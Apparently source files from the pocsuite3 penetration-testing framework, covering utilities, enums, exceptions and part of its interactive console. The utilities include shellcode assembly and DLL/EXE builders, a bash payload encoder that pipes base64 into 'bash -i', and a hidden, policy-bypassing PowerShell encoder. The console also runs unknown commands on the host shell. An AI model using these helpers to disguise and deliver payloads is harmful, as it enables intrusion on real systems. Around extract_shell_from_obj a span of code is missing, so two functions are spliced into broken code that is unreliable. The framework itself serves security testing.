re.search(":443[/]*$", ret): ret = "https://" + ret else: ret = "http://" + ret return ret def is_url_format(value): if value and re.match(URL_ADDRESS_REGEX, value): return True else: return False def is_domain_format(value): if value and re.match(URL_DOMAIN_REGEX, value): return True else: return False def is_ip_address_format(value): if value and re.match(IP_ADDRESS_REGEX, value): return True else: return False def is_ip_address_with_port_format(value): if value and re.match(IP_ADDRESS_WITH_PORT_REGEX, value): return True else: return False def is_ipv6_address_format(value): if value and re.match(IPV6_ADDRESS_REGEX, value): return True else: return False def is_ipv6_url_format(value): if value and re.match(IPV6_URL_REGEX, value): return True else: return False def is_old_version_poc(poc_string): for _ in OLD_VERSION_CHARACTER: if _ in poc_string: return True return False def is_pocsuite_poc(poc_string): for _ in POCSUITE_VERSION_CHARACTER: if _ in poc_string: return True return False def is_pocsuite3_poc(poc_string): return True if "pocsuite3" in poc_string else False def multiple_replace(text, adict): rx = re.compile("|".join(map(re.escape, adict))) def get_replace(match): return adict[match.group(0)] return rx.sub(get_replace, text) def get_filename(filepath, with_ext=True): base_name = os.path.basename(filepath) return base_name if with_ext else os.path.splitext(base_name)[0] def get_md5(value): if isinstance(value, str): value = value.encode(encoding='UTF-8') return hashlib.md5(value).hexdigest() def extract_cookies(cookie): cookies = dict([l.split("=", 1) for l in cookie.split("; ")]) return cookies def get_file_items(filename, comment_prefix='#', unicode_=True, lowercase=False, unique=False): ret = list() if not unique else OrderedDict() check_file(filename) try: with open(filename, 'r') as f: for line in f.readlines(): # xreadlines doesn't return unicode strings when codecs.open() is used if comment_prefix and line.find(comment_prefix) != -1: line = line[:line.find(comment_prefix)] line = line.strip() if not unicode_: try: line = str.encode(line) except UnicodeDecodeError: continue if line: if lowercase: line = line.lower() if unique and line in ret: continue if unique: ret[line] = True else: ret.append(line) except (IOError, OSError, MemoryError) as ex: err_msg = "something went wrong while trying " err_msg += "to read the content of file '{0}' ('{1}')".format(filename, ex) raise PocsuiteSystemException(err_msg) return ret if not unique else ret.keys() def parse_target(address): target = None if is_domain_format(address) \ or is_url_format(address) \ or is_ip_address_with_port_format(address): target = address elif is_ipv6_url_format(address): conf.ipv6 = True target = address elif is_ip_address_format(address): try: ip = ip_address(address) target = ip.exploded except ValueError: pass else: if is_ipv6_address_format(address): conf.ipv6 = True try: ip = ip_address(address) target = ip.exploded except ValueError: try: network = ip_network(address, strict=False) for host in network.hosts(): target = host.exploded except ValueError: pass return target def single_time_log_message(message, level=logging.INFO, flag=None): if flag is None: flag = hash(message) if flag not in kb.single_log_flags: kb.single_log_flags.add(flag) logger.log(level, message) def single_time_debug_message(message): single_time_log_message(message, logging.DEBUG) def single_time_warn_message(message): single_time_log_message(message, logging.WARN) @cachedmethod def get_public_type_members(type_, only_values=False): """ Useful for getting members from types (e.g. in enums) """ ret = [] for name, value in inspect.getmembers(type_): if not name.startswith("__"): if not only_values: ret.append((name, value)) else: ret.append(value) return ret def is_local_ip(ip_string): ret = False if ip_string and isinstance(ip_string, str) and re.match(LOCAL_IP_ADDRESS_REGEX, ip_string): ret = True return ret def get_local_ip(all=True): """Fetches all the local network address """ ips = OrderedSet() wan_ipv4 = get_host_ip() ips.add(wan_ipv4) if not all: return list(ips) wan_ipv6 = get_host_ipv6() if wan_ipv6: ips.add(wan_ipv6) # fix https://github.com/BVLC/caffe/issues/861 os.environ["MPLBACKEND"] = "Agg" # fix https://github.com/secdev/scapy/issues/3216 logging.getLogger("scapy").setLevel(logging.ERROR) from scapy.all import WINDOWS, get_if_list, get_if_addr if WINDOWS: from scapy.all import IFACES for iface in sorted(IFACES): dev = IFACES[iface] ips.add(dev.ip) else: for iface in get_if_list(): ipv4 = get_if_addr(iface) if ipv4 != '0.0.0.0': ips.add(ipv4) return list(ips) def get_host_ip(dst='8.8.8.8'): """ Fetches source ipv4 address when connect to dst Args: dst : target ip or domain Returns: : source ip address """ try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((dst, 80)) ip = s.getsockname()[0] except Exception: ip = '127.0.0.1' finally: s.close() return ip def has_poll(): return hasattr(select, "poll") def get_poc_requires(code): return extract_regex_result(POC_REQUIRES_REGEX, code) def get_poc_name(code): return extract_regex_result(POC_NAME_REGEX, code) def is_os_64bit(): return machine().endswith('64') def write_file(data, file_ext='', file_name=''): """ Function to create file """ if not file_ext.startswith('.'): file_ext = '.' + file_ext if not file_name: file_name = TIMESTAMP file_name += file_ext file_path = os.path.join(paths.POCSUITE_TMP_PATH, file_name) fd = open(file_path, 'wb+') fd.write(data) fd.close() return file_path def search_file(filename, search_path): """ Given a search path, find file """ path = os.path.join(search_path, filename) if os.path.exists(path): return path return None def get_objective_code(asm_file, target_arch, debug=0): """ Get objective code (file: *.o) """ if target_arch == OS_ARCH.X86: output_format = 'elf' elif target_arch == OS_ARCH.X64: output_format = 'elf64' else: print("Format for output objective file is not defined") return None if not asm_file: print("You must specify some params passed to function") return None obj_file = (asm_file.split('.'))[0] + ".o" app = 'nasm' # Application that do magic for us if OS_SYSTEM == OS.WINDOWS: app += '.exe' find_app = search_file("%s" % app, paths.SHELLCODES_DEV_PATH) if find_app: if debug: print("app: '%s' found at %s" % (app, find_app)) else: print("You must install app: '%s' and maybe edit environment variables path to it" % app) return None elif OS_SYSTEM == OS.LINUX: find_app = app else: print("Can't understand source os") return None command = "%s -f%s -o%s %s" % (find_app, output_format, obj_file, asm_file) if debug: print(command) res = call([find_app, "-f", output_format, "-o", obj_file, asm_file]) if res == 0: if debug: print("Objective code has been created") return obj_file else: print("Something wrong while getting objective code") return None def objdump(obj_file, os_target_arch, debug=0): """ Get shellcode with objdump utility """ res = '' if not obj_file: print("You must specify some params passed to function") return None else: app = 'objdump' if OS_SYSTEM == OS.WINDOWS: app += ".exe" find_app = search_file("%s" % app, paths.SHELLCODES_DEV_PATH) if find_app: if debug: print("app: '%s' found at %s" % (app, find_app)) else: print("You must install app: '%s' and maybe edit environment variables path to it" % app) return None elif OS_SYSTEM == OS.LINUX: find_app = app else: print("Can't understand source os") return None if os_target_arch == OS_ARCH.X86: p = Popen(['%s' % find_app, '-d', obj_file], stdout=PIPE, stderr=PIPE) elif os_target_arch == OS_ARCH.X64: p = Popen(['%s' % find_app, '-d', obj_file, '--disassembler-options=addr64'], stdout=PIPE, stderr=PIPE) else: print("OS TARGET ARCH '%s' is not supported" % os_target_arch) return (stdout, stderr) = p.communicate() if p.returncode == 0: for line in stdout.splitlines(): cols = line.split('\t') if len(cols) >= 2: for b in [b for b in cols[1].split(' ') if b != '']: res = res + ('\\x%s' % b) else: raise ValueError(stderr) if res and debug: print("objdump is created") return res def create_shellcode(asm_code, os_target, os_target_arch, make_exe=0, debug=0, filename="", dll_inj_funcs=[]): if os_target == OS.LINUX: dll_inj_funcs = [] if not is_os_64bit() and os_target_arch == OS_ARCH.X64: print("ERR: can not create shellcode for this os_target_arch ({0}) on os_arch ({1})".format(os_target_arch, OS_ARCH.X64)) return None asm_file = write_file(asm_code, '.asm', filename) obj_file = get_objective_code(asm_file, os_target_arch, debug) # stage_2: if obj_file: shellcode = objdump(obj_file, os_target_arch, debug) shellcode = shellcode.replace('\\x', '').decode('hex') # shellcode = extract_shell_from_obj(obj_file) else: return None if make_exe: make_binary_from_obj(obj_file, os_target, os_target_arch, debug) if dll_inj_funcs: generate_dll(os_target, os_target_arch, asm_code, filename, dll_inj_funcs, debug) return shellcode, asm_file.split(".")[0] def generate_dll(os_target, os_target_arch, asm_code, filename, dll_inj_funcs, debug): asm_code = asm_code.replace("global _start", "").replace("_start:", "") additional_code = "" for func in dll_inj_funcs: additional_code += "global _{}\r\n".format(func) for func in dll_inj_funcs: additional_code += "_{}:\r\n".format(func) asm_code = additional_code + asm_code asm_file = write_file(asm_code, '.asm', filename) obj_file = get_objective_code(asm_file, os_target_arch, debug) make_binary_from_obj(obj_file, os_target, os_target_arch, debug, True) def make_binary_from_obj(o_file, os_target, os_target_arch, debug=0, is_dll=False): """ Function for test shellcode with app written on c-language """ if is_dll and os_target == OS.LINUX: print('Dll can be generated only for WINDOWS OS') return None app = 'ld' find_app = '' if OS_SYSTEM == OS.WINDOWS: if os_target == OS.LINUX: app += '.gold' elif os_target == OS.WINDOWS and os_target_arch == OS_ARCH.X64: app += '64' app += '.exe' find_app = search_file("%s" % app, paths.SHELLCODES_DEV_PATH) if find_app: if debug: print("app: '%s' found at %s" % (app, find_app)) else: print("You must install app: '%s' and maybe edit environment variables path to it" % app) return None elif OS_SYSTEM == OS.LINUX: find_app = app else: print("Can't understand source os: %s" % OS_SYSTEM) return None c_exe = (o_file.split('.'))[0] commands_list = [find_app, '-o', c_exe, o_file, '--strip-all'] if OS_SYSTEM == OS.LINUX: if os_target == OS.WINDOWS: commands_list.append('-m') commands_list.append('i386pe') if is_dll: commands_list.append('-shared') p = Popen(commands_list) p.communicate() elif OS_SYSTEM == OS.WINDOWS: if is_dll: commands_list.append('-shared') p = Popen(commands_list) p.communicate() else: print("ERR: source os (%s) is not supported" % OS_SYSTEM) if os_target == OS.WINDOWS: newname = c_exe + '.dll' if is_dll else c_exe + '.exe' if os.path.exists(newname): os.remove(newname) os.rename(c_exe, newname) print("Complete. Now you can try to execute file: %s" % c_exe) def extract_shell_from_obj(file): with open(file, 'rb') as f: contents = f.read() flag = contents[4] if flag == '\x01': length = struct.unpack('H', port) return struct.pack(' len(text): return text if char == text[-length:]: text = text[:-length] return text def ltrim(text, char): """ Delete the specified character on the left :param text: str :param char: character :return: """ length = len(char) if length > len(text): return text if char == text[:length]: text = text[length:] return text def index_modules(modules_directory): """ Returns list of all exploits modules :param str modules_directory: path to modules directory :return list: list of found modules """ modules = [] for root, _, files in os.walk(modules_directory): files = filter(lambda x: not x.startswith("__") and x.endswith(".py"), files) modules.extend(map(lambda x: os.path.join(root, os.path.splitext(x)[0]), files)) return modules def humanize_path(path: str) -> str: """ Replace python dotted path to directory-like one. ex. foo.bar.baz -> foo/bar/baz :param str path: path to humanize :return str: humanized path """ return path.replace(".", os.sep) def pythonize_path(path: str) -> str: """ Replaces argument to valid python dotted notation. ex. foo/bar/baz -> foo.bar.baz :param str path: path to pythonize :return str: pythonized path """ return path.replace(os.sep, ".") def module_required(fn): """ Checks if module is loaded. Decorator that checks if any module is activated before executing command specific to modules (ex. 'run'). """ @wraps(fn) def wrapper(self, *args, **kwargs): if not self.current_module: logger.error("You have to activate any module with 'use' command.") return return fn(self, *args, **kwargs) try: name = "module_required" wrapper.__decorators__.append(name) except AttributeError: wrapper.__decorators__ = [name] return wrapper def stop_after(space_number): """ Decorator that determines when to stop tab-completion Decorator that tells command specific complete function (ex. "complete_use") when to stop tab-completion. Decorator counts number of spaces (' ') in line in order to determine when to stop. ex. "use exploits/dlink/specific_module " -> stop complete after 2 spaces "set rhost " -> stop completing after 2 spaces "run " -> stop after 1 space :param space_number: number of spaces (' ') after which tab-completion should stop :return: """ def _outer_wrapper(wrapped_function): @wraps(wrapped_function) def _wrapper(self, *args, **kwargs): try: if args[1].count(" ") == space_number: return [] except Exception as err: logger.error(err) return wrapped_function(self, *args, **kwargs) return _wrapper return _outer_wrapper def check_port(ip, port): res = socket.getaddrinfo(ip, port, socket.AF_UNSPEC, socket.SOCK_STREAM) af, sock_type, proto, canonname, sa = res[0] s = socket.socket(af, sock_type, proto) try: s.connect(sa) s.shutdown(2) return True except: return False finally: s.close() def exec_cmd(cmd, raw_data=True): cmd = shlex.split(cmd) out_data = b'' try: p = subprocess.Popen( cmd, shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) while p.poll() is None: line = p.stdout.read() out_data += line except Exception as ex: logger.error("Execute cmd error {}".format(str(ex))) encoding = chardet.detect(out_data).get('encoding') encoding = encoding if encoding else 'utf-8' if IS_WIN: out_data = out_data.split(b'\r\n\r\n') else: out_data = out_data.split(b'\n\n') if not raw_data: for i, data in enumerate(out_data): out_data[i] = data.decode(encoding, errors='ignore') return out_data def desensitization(s): """ Hide sensitive information. """ s = str(s) return ( s[:len(s) // 4 if len(s) < 30 else 8] + '***' + s[len(s) * 3 // 4:] ) def encoder_bash_payload(cmd: str) -> str: ret = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(cmd.encode()).decode() return ret def encoder_powershell_payload(powershell: str): command = "powershell -NonI -W Hidden -NoP -Exec Bypass -Enc " + base64.b64encode( '\x00'.join(list(powershell)).encode() + b'\x00').decode() return command def get_host_ipv6(dst='2001:db8::'): """ Fetches source ipv6 address when connect to dst Args: dst : target ip or domain Returns: : source ipv6 address """ s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) try: s.connect((dst, 1027)) except socket.error: return None return s.getsockname()[0] class OrderedSet(collections.OrderedDict, collectionsAbc.MutableSet): def add(self, e): self[e] = None def discard(self, e): self.pop(e, None) def __le__(self, other): return all(e in other for e in self) def __lt__(self, other): return self <= other and self != other def __ge__(self, other): return all(e in self for e in other) def __gt__(self, other): return self >= other and self != other def __repr__(self): return 'OrderedSet([%s])' % (', '.join(map(repr, self.keys()))) def __str__(self): return '{%s}' % (', '.join(map(repr, self.keys()))) if __name__ == '__main__': cmd = 'ping baidu.com' res = exec_cmd(cmd=cmd) print(res) pocsuite3-1.8.10/pocsuite3/lib/core/convert.py000066400000000000000000000024061416712700400211710ustar00rootroot00000000000000import sys from pocsuite3.lib.core.settings import IS_WIN from pocsuite3.lib.core.settings import UNICODE_ENCODING def single_time_warn_message(message): """ Cross-linked function """ sys.stdout.write(message) sys.stdout.write("\n") sys.stdout.flush() def stdout_encode(data): ret = None try: data = data or "" # Reference: http://bugs.python.org/issue1602 if IS_WIN: output = data.encode(sys.stdout.encoding, "replace") if '?' in output and '?' not in data: warn_msg = "cannot properly display Unicode characters " warn_msg += "inside Windows OS command prompt " warn_msg += "(http://bugs.python.org/issue1602). All " warn_msg += "unhandled occurances will result in " warn_msg += "replacement with '?' character. Please, find " warn_msg += "proper character representation inside " warn_msg += "corresponding output files. " single_time_warn_message(warn_msg) ret = output else: ret = data.encode(sys.stdout.encoding) except Exception: ret = data.encode(UNICODE_ENCODING) if isinstance(data, str) else data return ret pocsuite3-1.8.10/pocsuite3/lib/core/data.py000066400000000000000000000011661416712700400204240ustar00rootroot00000000000000from pocsuite3.lib.core.datatype import AttribDict from pocsuite3.lib.core.log import LOGGER # logger logger = LOGGER # object to share within function and classes command # line options and settings conf = AttribDict() # Dictionary storing # (1)targets, (2)registeredPocs, (3) bruteMode # (4)results, (5)pocFiles # (6)multiThreadMode \ threadContinue \ threadException kb = AttribDict() # object to store original command line options cmd_line_options = AttribDict() # object to store merged options (command line, configuration file and default options) merged_options = AttribDict() # pocsuite paths paths = AttribDict() pocsuite3-1.8.10/pocsuite3/lib/core/datatype.py000066400000000000000000000022151416712700400213220ustar00rootroot00000000000000from collections import OrderedDict class AttribDict(OrderedDict): """ AttrDict extends OrderedDict to provide attribute-style access. Items starting with __ or _OrderedDict__ can't be accessed as attributes. """ __exclude_keys__ = set() def __getattr__(self, name): if (name.startswith('__') or name.startswith('_OrderedDict__') or name in self.__exclude_keys__): return super(AttribDict, self).__getattribute__(name) else: try: return self[name] except KeyError: raise AttributeError(name) def __setattr__(self, name, value): if (name.startswith('__') or name.startswith('_OrderedDict__') or name in self.__exclude_keys__): return super(AttribDict, self).__setattr__(name, value) self[name] = value def __delattr__(self, name): if (name.startswith('__') or name.startswith('_OrderedDict__') or name in self.__exclude_keys__): return super(AttribDict, self).__delattr__(name) del self[name] pocsuite3-1.8.10/pocsuite3/lib/core/decorators.py000066400000000000000000000007421416712700400216570ustar00rootroot00000000000000import hashlib def cachedmethod(f, cache={}): """ Method with a cached content Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/ """ def _(*args, **kwargs): key_string = "|".join(str(_) for _ in (f, args, kwargs)).encode() key = int(hashlib.md5(key_string).hexdigest(), 16) & 0x7fffffffffffffff if key not in cache: cache[key] = f(*args, **kwargs) return cache[key] return _ pocsuite3-1.8.10/pocsuite3/lib/core/enums.py000066400000000000000000000125131416712700400206400ustar00rootroot00000000000000from pocsuite3.lib.core.datatype import AttribDict class LOGGING_LEVELS: NOTSET = 0 DEBUG = 10 INFO = 20 WARNING = 30 ERROR = 40 CRITICAL = 50 class CUSTOM_LOGGING: SYSINFO = 21 SUCCESS = 22 ERROR = 23 WARNING = 24 class OUTPUT_STATUS: SUCCESS = 1 FAILED = 0 class HTTP_HEADER: ACCEPT = "Accept" ACCEPT_CHARSET = "Accept-Charset" ACCEPT_ENCODING = "Accept-Encoding" ACCEPT_LANGUAGE = "Accept-Language" AUTHORIZATION = "Authorization" CACHE_CONTROL = "Cache-Control" CONNECTION = "Connection" CONTENT_ENCODING = "Content-Encoding" CONTENT_LENGTH = "Content-Length" CONTENT_RANGE = "Content-Range" CONTENT_TYPE = "Content-Type" COOKIE = "Cookie" EXPIRES = "Expires" HOST = "Host" IF_MODIFIED_SINCE = "If-Modified-Since" LAST_MODIFIED = "Last-Modified" LOCATION = "Location" PRAGMA = "Pragma" PROXY_AUTHORIZATION = "Proxy-Authorization" PROXY_CONNECTION = "Proxy-Connection" RANGE = "Range" REFERER = "Referer" REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794 SERVER = "Server" SET_COOKIE = "Set-Cookie" TRANSFER_ENCODING = "Transfer-Encoding" URI = "URI" USER_AGENT = "User-Agent" VIA = "Via" X_POWERED_BY = "X-Powered-By" X_DATA_ORIGIN = "X-Data-Origin" class PROXY_TYPE: HTTP = "HTTP" HTTPS = "HTTPS" SOCKS4 = "SOCKS4" SOCKS5 = "SOCKS5" SOCKS5H = "SOCKS5H" class ERROR_TYPE_ID: NOTIMPLEMENTEDERROR = 2 CONNECTIONERROR = 3.0 HTTPERROR = 3.1 CONNECTTIMEOUT = 3.2 TOOMANYREDIRECTS = 3.3 OTHER = 4 class OS: LINUX = "linux" WINDOWS = "windows" class OS_ARCH: X86 = "32bit" X64 = "64bit" class ENCODER_TPYE: XOR = "xor" ALPHANUMERIC = "alphanum" ROT_13 = "rot_13" FNSTENV_XOR = "fnstenv" JUMPCALL_XOR = "jumpcall" class SHELLCODE_TYPE: JSP = "jsp" JAR = "jar" WAR = "war" PYTHON = "python" PHP = "php" ASPX = "aspx" class SHELLCODE_CONNECTION: BIND = 'bind' REVERSE = 'reverse' class PLUGIN_TYPE: TARGETS = 'targets' POCS = 'pocs' RESULTS = 'results' class AUTOCOMPLETE_TYPE: SQL = 0 OS = 1 POCSUITE = 2 API = 3 CONSOLE = 4 class POC_CATEGORY: EXPLOITS = AttribDict() EXPLOITS.WEBAPP = 'WebApp' EXPLOITS.DOS = 'DoS' EXPLOITS.REMOTE = 'Remote' EXPLOITS.LOCAL = 'Local' TOOLS = AttribDict() TOOLS.CRACK = 'Crack' PROTOCOL = AttribDict() PROTOCOL.HTTP = "Http" PROTOCOL.FTP = "Ftp" PROTOCOL.SSH = "Ssh" PROTOCOL.TELENT = "Telent" PROTOCOL.REDIS = "Redis" class OPTION_TYPE: BOOLEAN = "boolean" INTEGER = "integer" FLOAT = "float" STRING = "string" class VUL_TYPE: BACKDOOR = 'Backdoor' INSECURE_COOKIE_HANDLING = 'Insecure Cookie Handling' CSRF = 'CSRF' XSS = 'XSS' UXSS = 'UXSS' SSRF = 'Server-Side Request Forgery' SHELLCODE = 'ShellCode' SQL_INJECTION = 'SQL Injection' ARBITRARY_FILE_DOWNLOAD = 'Arbitrary File Download' ARBITRARY_FILE_CREATION = 'Arbitrary File Creation' ARBITRARY_FILE_DELETION = 'Arbitrary File Deletion' ARBITRARY_FILE_READ = 'Arbitrary File Read' OTHER = 'Other' VARIABLE_COVERAGE = 'Variable Coverage' COMMAND_EXECUTION = 'Command Execution' INJECTING_MALWARE_CODES = 'Injecting Malware Codes' WEAK_PASSWORD = 'Weak Password' DENIAL_OF_SERVICE = 'Denial Of service' DATABASE_FOUND = 'Database Found' UPLOAD_FILES = 'Upload Files' LOCAL_OVERFLOW = 'Local Overflow' PRIVILEGE_ESCALATION = 'Privilege Escalation' INFORMATION_DISCLOSURE = 'Information Disclosure' LOGIN_BYPASS = 'Login Bypass' PATH_TRAVERSAL = 'Path Traversal' RESOLVE_ERROR = 'Resolve Error' UNAUTHORIZED_ACCESS = 'Unauthorized Access' PATH_DISCLOSURE = 'Path Disclosure' CODE_EXECUTION = 'Code Execution' REMOTE_PASSWORD_CHANGE = 'Remote Password Change' REMOTE_OVERFLOW = 'Remote Overflow' DIRECTORY_LISTING = 'Directory Listing' NULL_BYTE_INJECTION = 'Null Byte Injection' MAN_IN_THE_MIDDLE = 'Man-in-the-middle' FORMAT_STRING = 'Format String' BUFFER_OVERFLOW = 'Buffer Overflow' CRLF_INJECTION = 'CRLF Injection' XML_INJECTION = 'XML Injection' LOCAL_FILE_INCLUSION = 'Local File Inclusion' REMOTE_FILE_INCLUSION = 'Remote File Inclusion' CREDENTIAL_PREDICTION = 'Credential Prediction' HTTP_PARAMETER_POLLUTION = 'HTTP Parameter Pollution' HTTP_REQUEST_SPLITTING = 'HTTP Request Splitting' HTTP_RESPONSE_SPLITTING = 'HTTP Response Splitting' HTTP_RESPONSE_SMUGGLING = 'HTTP Response Smuggling' HTTP_REQUEST_SMUGGLING = 'HTTP Request Smuggling' SSI_INJECTION = 'SSI Injection' OUT_OF_MEMORY = 'Out of Memory' INTEGER_OVERFLOWS = 'Integer Overflows' CONTENT_SPOOFING = 'Content Spoofing' XQUERY_INJECTION = 'XQuery Injection' BUFFER_OVER_READ = 'Buffer Over-read' BRUTE_FORCE = 'Brute Force' LDAP_INJECTION = 'LDAP Injection' SECURITY_MODE_BYPASS = 'Security Mode Bypass' BACKUP_FILE_FOUND = 'Backup File Found' XPATH_INJECTION = 'XPath Injection' URL_REDIRECTOR_ABUSE = 'URL Redirector Abuse' CODE_DISCLOSURE = 'Code Disclosure' USE_AFTER_FREE = 'Use After Free' DNS_HIJACKING = 'DNS Hijacking' IMPROPER_INPUT_VALIDATION = 'Improper Input Validation' UAF = 'Use After Free' pocsuite3-1.8.10/pocsuite3/lib/core/exception.py000066400000000000000000000032341416712700400215070ustar00rootroot00000000000000from http.client import HTTPException class PocsuiteBaseException(Exception): pass class PocsuiteUserQuitException(PocsuiteBaseException): pass class PocsuiteShellQuitException(PocsuiteBaseException): pass class PocsuiteDataException(PocsuiteBaseException): pass class PocsuiteGenericException(PocsuiteBaseException): pass class PocsuiteSystemException(PocsuiteBaseException): pass class PocsuiteFilePathException(PocsuiteBaseException): pass class PocsuiteConnectionException(PocsuiteBaseException): pass class PocsuiteThreadException(PocsuiteBaseException): pass class PocsuiteValueException(PocsuiteBaseException): pass class PocsuiteMissingPrivileges(PocsuiteBaseException): pass class PocsuiteSyntaxException(PocsuiteBaseException): pass class PocsuiteValidationException(PocsuiteBaseException): pass class PocsuiteMissingMandatoryOptionException(PocsuiteBaseException): pass class PocsuitePluginBaseException(PocsuiteBaseException): pass class PocsuitePluginDorkException(PocsuitePluginBaseException): pass class PocsuiteHeaderTypeException(PocsuiteBaseException): pass class PocsuiteIncompleteRead(HTTPException): def __init__(self, partial, expected=None): self.args = partial, self.partial = partial self.expected = expected def __repr__(self): if self.expected is not None: e = ', %i more expected' % self.expected else: e = '' return '%s(%i bytes read%s)' % (self.__class__.__name__, len(self.partial), e) def __str__(self): return repr(self) pocsuite3-1.8.10/pocsuite3/lib/core/interpreter.py000066400000000000000000000514621416712700400220620ustar00rootroot00000000000000#!/usr/bin/env python3 # -*- coding: utf-8 -*- # @Time : 2018/12/25 上午10:58 # @Author : chenghs # @File : interpreter.py import os import re import chardet import prettytable from termcolor import colored from pocsuite3.lib.controller.controller import start from pocsuite3.lib.core.common import banner, index_modules, data_to_stdout, module_required, \ get_poc_name, stop_after, get_local_ip, is_ipv6_address_format, rtrim, ltrim, exec_cmd from pocsuite3.lib.core.data import logger, paths, kb, conf from pocsuite3.lib.core.enums import POC_CATEGORY, AUTOCOMPLETE_TYPE from pocsuite3.lib.core.exception import PocsuiteBaseException, PocsuiteShellQuitException from pocsuite3.lib.core.option import _set_listener, _set_http_referer, _set_http_user_agent, _set_network_proxy, \ _set_network_timeout from pocsuite3.lib.core.register import load_file_to_module from pocsuite3.lib.core.settings import IS_WIN from pocsuite3.lib.core.shell import auto_completion, readline class BaseInterpreter(object): global_help = "" def __init__(self): self.setup() self.banner = "" self.complete = None # Prepare to execute system commands self.input_command = '' self.input_args = '' def setup(self): """ Initialization of third-party libraries Setting interpreter history. Setting appropriate completer function. :return: """ auto_completion(completion=AUTOCOMPLETE_TYPE.CONSOLE, console=self.complete) def parse_line(self, line): """ Split line into command and argument. :param line: line to parse :return: (command, argument) """ command, _, arg = line.strip().partition(" ") return command, arg.strip() @property def prompt(self): """ Returns prompt string """ return ">>>" def get_command_handler(self, command): """ Parsing command and returning appropriate handler. :param command: command :return: command_handler """ try: command_handler = getattr(self, "command_{}".format(command)) except AttributeError: cmd = self.input_command + ' ' + self.input_args for line in exec_cmd(cmd=cmd): result_encoding = chardet.detect(line)['encoding'] if result_encoding: print(line.decode(result_encoding)) raise PocsuiteBaseException("Pocsuite3 Unknown this command, and run it on system: '{}'".format(command)) return command_handler def start(self): """ Routersploit main entry point. Starting interpreter loop. """ while True: try: self.input_command, self.input_args = self.parse_line(input(self.prompt)) command = self.input_command.lower() if not command: continue command_handler = self.get_command_handler(command) command_handler(self.input_args) except PocsuiteBaseException as warn: logger.warn(warn) except EOFError: logger.info("Pocsuite stopped") break except KeyboardInterrupt: logger.info("User Quit") break def complete(self, text, state): """Return the next possible completion for 'text'. If a command has not been entered, then complete against command list. Otherwise try to call complete_ to get list of completions. """ if state == 0: original_line = readline.get_line_buffer() line = original_line.lstrip() stripped = len(original_line) - len(line) start_index = readline.get_begidx() - stripped end_index = readline.get_endidx() - stripped if start_index > 0: cmd, args = self.parse_line(line) if cmd == "": complete_function = self.default_completer else: try: complete_function = getattr(self, "complete_" + cmd) except AttributeError: complete_function = self.default_completer else: complete_function = self.raw_command_completer self.completion_matches = complete_function(text, line, start_index, end_index) try: return self.completion_matches[state] except IndexError: return None def commands(self, *ignored): """ Returns full list of interpreter commands. :param ignored: :return: full list of interpreter commands """ return [command.rsplit("_").pop() for command in dir(self) if command.startswith("command_")] def raw_command_completer(self, text, line, start_index, end_index): """ Complete command w/o any argument """ return [command for command in self.suggested_commands() if command.startswith(text)] def default_completer(self, *ignored): return [] def suggested_commands(self): """ Entry point for intelligent tab completion. Overwrite this method to suggest suitable commands. :return: list of suitable commands """ return self.commands() class PocsuiteInterpreter(BaseInterpreter): global_help = """Global commands: help Print this help menu use Select a module for usage search Search for appropriate module list|show all Show all available pocs clear clear the console screen exit Exit Pocsuite3""" module_help = """Module commands: run Run the selected module with the given options back De-select the current module set